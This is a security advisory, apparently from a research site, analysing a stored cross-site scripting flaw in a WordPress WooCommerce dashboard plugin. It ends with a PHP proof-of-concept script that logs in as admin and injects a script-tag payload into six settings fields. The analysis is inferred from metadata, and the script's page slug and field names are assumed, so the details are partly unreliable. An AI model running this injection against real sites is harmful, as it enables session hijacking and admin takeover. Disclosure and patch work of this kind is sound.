Atomic Edge analysis of CVE-2026-3574 (metadata-based): This vulnerability affects the Experto Dashboard for WooCommerce plugin for WordPress, versions 1.0.4 and earlier. It is a Stored Cross-Site Scripting (XSS) vulnerability in the plugin’s settings fields, specifically ‘Navigation Font Size’, ‘Navigation Font Weight’, ‘Heading Font Size’, ‘Heading Font Weight’, ‘Text Font Size’, and ‘Text Font Weight’. The CVSS score is 4.4 (MEDIUM), with a vector indicating high attack complexity, high privileges required, but a changed scope and low impact on confidentiality and integrity.
Root Cause: The vulnerability stems from insufficient input sanitization and missing output escaping. The plugin uses register_setting() without a sanitize callback, meaning user-supplied values are not sanitized before storage. Additionally, the field_callback() function outputs these values using printf without esc_attr() escaping. This allows an attacker to inject arbitrary HTML and JavaScript. Because no code diff is available, these conclusions are inferred from the CWE classification (CWE-79) and the vulnerability description.
Exploitation: An attacker with Administrator-level access navigates to the WordPress admin settings page for the plugin (typically /wp-admin/admin.php?page=experto-dashboard-settings or similar). The attacker submits the settings form, injecting a JavaScript payload into one of the vulnerable fields (e.g., Navigation Font Size). The payload is stored in the WordPress options table. The malicious script executes when any user, including other administrators, views the settings page. Since the vulnerability only affects multi-site installations or sites where unfiltered_html is disabled, standard WordPress super admin restrictions are bypassed. The attack vector is the plugin’s settings form submission, likely via POST request to /wp-admin/options.php with the plugin’s option group.
Remediation: The fix (version 1.0.5) likely adds a sanitize callback to register_setting() for each vulnerable option, using WordPress functions like sanitize_text_field() or wp_kses() to strip unwanted HTML. It also adds output escaping in the field_callback() function, wrapping the echoed value in esc_attr() to neutralize any remaining malicious characters.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, forced actions on behalf of other administrators (e.g., creating new admin users, modifying site content), or defacement of the admin interface. The scope change in the CVSS vector indicates the attack can affect resources beyond the vulnerable component, such as other admin pages or user interactions.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3574 - Experto Dashboard for WooCommerce <= 1.0.4 - Authenticated (Administrator+) Stored XSS
<?php
$target_url = 'http://example.com'; // Change to target WordPress base URL
$admin_username = 'admin'; // Change to admin username
$admin_password = 'password'; // Change to admin password
// Step 1: Login to WordPress as admin
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $admin_username,
'pwd' => $admin_password,
'rememberme' => 'forever',
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Get the settings page to obtain a valid nonce (if required)
$settings_page_url = $target_url . '/wp-admin/admin.php?page=experto-dashboard-settings'; // Assumed slug
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce from response (if present)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
// Step 3: Inject XSS payload into one of the vulnerable settings
// Payload example: navigation_font_size
$payload = '"><script>alert(/XSS/);</script>'; // Simple alert for demonstration
$options_page_url = $target_url . '/wp-admin/options.php';
$post_data = array(
'option_page' => 'experto-dashboard-settings', // Assumed option group
'action' => 'update',
'_wpnonce' => $nonce,
'experto_navigation_font_size' => $payload,
'experto_navigation_font_weight' => $payload,
'experto_heading_font_size' => $payload,
'experto_heading_font_weight' => $payload,
'experto_text_font_size' => $payload,
'experto_text_font_weight' => $payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $options_page_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 || $http_code == 302) {
echo "[+] Payload injected successfully. Navigate to settings page to trigger XSS.n";
} else {
echo "[-] Injection failed. HTTP Code: $http_coden";
}
?>